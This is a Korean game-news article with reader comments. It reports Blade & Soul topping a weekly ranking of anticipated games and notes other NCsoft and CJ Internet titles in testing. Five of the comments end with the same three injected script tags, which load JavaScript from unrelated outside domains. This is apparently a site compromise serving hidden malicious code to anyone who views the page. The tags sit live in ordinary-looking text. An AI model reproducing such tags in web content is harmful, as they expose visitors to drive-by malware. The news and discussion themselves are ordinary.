엔씨소프트의 신작 '블레이드앤소울(프로젝트M)'이 7월 28일부터 8월 3일까지 집계한 머드포유 기대 게임순위에서 1위를 차지했다.
지난 31일 개최된 '엔씨 미디어데이2008'을 통해 실체를 드러낸 <블레이드앤소울>은 '무협'을 소재로 박진감 넘치는 전투와 뛰어난 그래픽을 선보일 예정이다. 특히 <창세기전>, <마그나카르타> 등으로 잘 알려진 김형태 아트디렉터 특유의 캐릭터 및 배경을 게임 내에 그대로 구현한 플레이 영상으로 많은 유저들의 주목을 받았다.
특히 엔씨소프트는 <블레이드앤소울>을 비롯해 <아이온>, <스틸독>, <메탈블랙> 등 현재 공개된 신작 4종이 모두 기대순위 10위권 내에 진입, 개발사에 대한 유저 및 업계 관계자들의 관심을 또 한번 증명했다.
한편 지난주 1위를 차지했던 <버블파이터>는 1차 비공개테스트가 종료되면서 다소 주춤했다. 다만 테스트에 대한 유저들의 호응이 높아 이후 일정이 진행되면 재차 순위가 상승할 것으로 보인다.
이외에 CJ인터넷의 <프리우스온라인>이 2차 축제테스트를 앞두고 기대감이 커지면서 순위가 다소 상승했다. 반면 <카몬히어로>는 1차 비공개테스트가 종료되면서 10위로 순위가 떨어졌다.
머드포유에서 집계한 기대 게임순위 및 서비스 게임순위는 주간 기대 게임순위에서 확인할 수 있다.
영상 보니 ~마그나카르타 게임 생각이 ㅎㅎ<script src=http://tgroh.co.kr/SUB/html/hangame.js></script><script src=http://www.mirovision.com/about/aspnet.js></script><script language=javascript src=http://ucscn.com/js.js></script>
그래픽은 이제 더 이상 경쟁 요소가 아닌듯..
그런데.. ㅎㅎ 나오면 피시가 받쳐줄지는 두고봐야지.
원화가가 마그나카르타 한 분이니 당연히 그 겜 생각이 나는듯하네여..<script src=http://tgroh.co.kr/SUB/html/hangame.js></script><script src=http://www.mirovision.com/about/aspnet.js></script><script language=javascript src=http://ucscn.com/js.js></script>
으 마그나카르타 그 애들 많이 생각나넹... 좀 간지 ㅋ ...
창세기전이나 다시 해볼까...<script src=http://tgroh.co.kr/SUB/html/hangame.js></script><script src=http://www.mirovision.com/about/aspnet.js></script><script language=javascript src=http://ucscn.com/js.js></script>
그래픽이 중요치않다고 하는분을 이해가 안됨
그래픽은 게임을 재미있게 하기 위해서는 매우 중요합니다.
반지의 제왕온라인을 최소옵션으로 돌리는거랑 풀옵으로 돌리는거랑 어떤게 재미있나요?
그래픽은 그 회사의 기술력을 가장 잘 보여주는 지표와도 같습니다.
동영상보면 경공도 잘 표현했고 엔씨의 게임 만드는 기술에 박수를 쳐줘야 한다고 생각하는데
그래픽 좋으니까 겉만 번지르 하다고 말하는게 이해가 안감
개인적으로 게임에서 그래픽은 정말 중요한 요소라고 생각함<script src=http://tgroh.co.kr/SUB/html/hangame.js></script><script src=http://www.mirovision.com/about/aspnet.js></script><script language=javascript src=http://ucscn.com/js.js></script>
블러드앤소울 nc소프트가 국내게임 중 고품격이고 잘만들긴 하네요...스피디하고 막진감 넘치는 롤 게임을 찾는 수많은 유저들의 가려움을 드뎌 긁어주게 될 신작이 나옵니다 그려 후후~어짜피 게임을 하면 서로 파티를 해야 경치도 많이 먹고 서로유저들간에 친목도 다지게 되고 다그렿죠^^ 모 게임사 처럼 억지로 파티사냥을 유도하여 서로간에 미간을 찌푸리도록하는 게임이 되지 않토록 바랄뿐입니다.^^ 솔플레이나 파티사냥이나 둘다 자유도가 뛰어난 게임이 되길 바라고 물론 사냥터또한 NCSoft사 답게 광활하고 다양하며 아름다움과 개성의 자태를 뽐내리라믿습니다. Dekaron처럼 콧딱지만한 사냥터 크기에 사람수 감당못하고 신규사냥터는 고랩들한테만 더 만들고 신규유저는 등한시하여 6명 한정 기차팟을 유도하여 거기에 가입못한 파티원은 모처럼 방학을 이용하여 접속한 유저가 파티자리만 찾다가 하루도 접하지 못하는 이런 어처구니 없는 게임은 절대로 안될것이라 믿습니다^^ 데카론같은 Auto게임이 안될것이라 믿으며 인제 BladeAndSouL 이 나오면 어여 가라타고 싶습니다. Aion도 물론 약간 기대되니 액션성과 몰입도 스킬의 향현이 아름답고 굉장히 빠른 Action영화를 보는듯한 이 게임이 전 기대거의 1순위입니다.^^ 더운날 조금 더 고생하여 다시금 역사적인 게임의 한획을 긋는 그런 게임이 되길 노력해주길 주문하겠습니다.<script src=http://tgroh.co.kr/SUB/html/hangame.js></script><script src=http://www.mirovision.com/about/aspnet.js></script><script language=javascript src=http://ucscn.com/js.js></script>